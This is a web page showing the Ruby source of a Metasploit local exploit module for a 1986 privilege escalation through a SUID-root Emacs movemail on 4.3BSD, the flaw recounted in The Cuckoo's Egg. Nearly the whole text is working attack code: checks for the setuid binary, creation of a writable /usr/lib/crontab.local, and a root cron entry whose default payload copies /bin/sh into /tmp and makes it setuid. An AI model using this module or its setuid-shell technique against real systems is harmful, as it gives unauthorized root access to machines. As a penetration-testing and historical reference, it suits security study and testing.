Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/local/emacs_movemail.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local67Rank = ExcellentRanking89include Msf::Post::File10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Emacs movemail Privilege Escalation',17'Description' => %q{18This module exploits a SUID installation of the Emacs movemail utility19to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.2021The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.22},23'Author' => [24'Markus Hess', # Discovery? atrun(8) exploit for sure25'Cliff Stoll', # The Cuckoo's Egg hacker tracker26'wvu' # Module and additional research27],28'References' => [29%w[URL https://en.wikipedia.org/wiki/Movemail],30%w[URL https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg],31%w[URL http://pdf.textfiles.com/academics/wilyhacker.pdf],32%w[URL https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html],33%w[URL https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html],34%w[URL https://mailutils.org/manual/html_node/movemail.html]35],36'DisclosureDate' => '1986-08-01', # Day unknown, assuming first of month37'License' => MSF_LICENSE,38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'SessionTypes' => %w[shell],41'Privileged' => true,42'Payload' => { 'BadChars' => "\n", 'Encoder' => 'generic/none' },43'Targets' => [['/usr/lib/crontab.local', {}]],44'DefaultTarget' => 0,45'DefaultOptions' => {46'PAYLOAD' => 'cmd/unix/generic',47'CMD' => 'cp /bin/sh /tmp && chmod u+s /tmp/sh'48},49'Notes' => {50'Reliability' => [REPEATABLE_SESSION],51'Stability' => [CRASH_SAFE],52'SideEffects' => [ARTIFACTS_ON_DISK]53}54)55)5657register_options([58OptString.new('MOVEMAIL', [true, 'Path to movemail', '/etc/movemail'])59])60end6162def bin_path63'/bin:/usr/bin:/usr/ucb:/etc'64end6566def movemail67datastore['MOVEMAIL']68end6970def crontab_local71'/usr/lib/crontab.local'72end7374def crontab(cmd)75"* * * * * root #{cmd}\n* * * * * root rm -f #{crontab_local}"76end7778# uname(1) does not exist, technique from /etc/rc.local79def is_43bsd?80cmd_exec('strings /vmunix | grep UNIX').include?('4.3 BSD')81end8283# id(1) does not exist84def root?85cmd_exec('whoami').include?('root')86end8788# test -u does not exist89def setuid_root?(path)90cmd_exec("find #{path} -user root -perm -4000 -print").include?(path)91end9293def setup94super9596vprint_status("Setting a sane $PATH: #{bin_path}")9798case cmd_exec('echo $SHELL')99when %r{/bin/sh}100vprint_status('Current shell is /bin/sh')101cmd_exec("PATH=#{bin_path}; export PATH")102when %r{/bin/csh}103vprint_status('Current shell is /bin/csh')104cmd_exec("setenv PATH #{bin_path}")105else106vprint_bad('Current shell is unknown')107end108109vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}")110end111112def check113unless is_43bsd?114vprint_warning('System does not appear to be 4.3BSD')115end116117unless file?(movemail)118vprint_bad("#{movemail} not found")119return CheckCode::Safe120end121122unless movemail.end_with?('movemail')123vprint_warning("#{movemail} has an unexpected name")124end125126unless setuid_root?(movemail)127vprint_status("Non-SUID-root #{movemail} found")128return CheckCode::Detected129end130131vprint_good("SUID-root #{movemail} found")132CheckCode::Appears133end134135def exploit136if root?137print_good('Session is already root, executing payload directly')138return cmd_exec(payload.encoded)139end140141# outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666);142if file?(crontab_local)143fail_with(Failure::NoTarget, "#{crontab_local} already exists")144end145146print_status('Preparing crontab with payload')147tab = crontab(payload.encoded)148vprint_line(tab)149150# umask (umask (0) & 0333);151# (void) ftruncate (indesc, 0L);152print_status("Creating writable #{crontab_local}")153cmd_exec("(umask 0 && #{movemail} /dev/null #{crontab_local})")154155unless writable?(crontab_local)156fail_with(Failure::NoAccess, "#{crontab_local} is not writable")157end158159print_good("Writing crontab to #{crontab_local}")160cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}")161print_warning('Please wait at least one minute for effect')162end163end164165166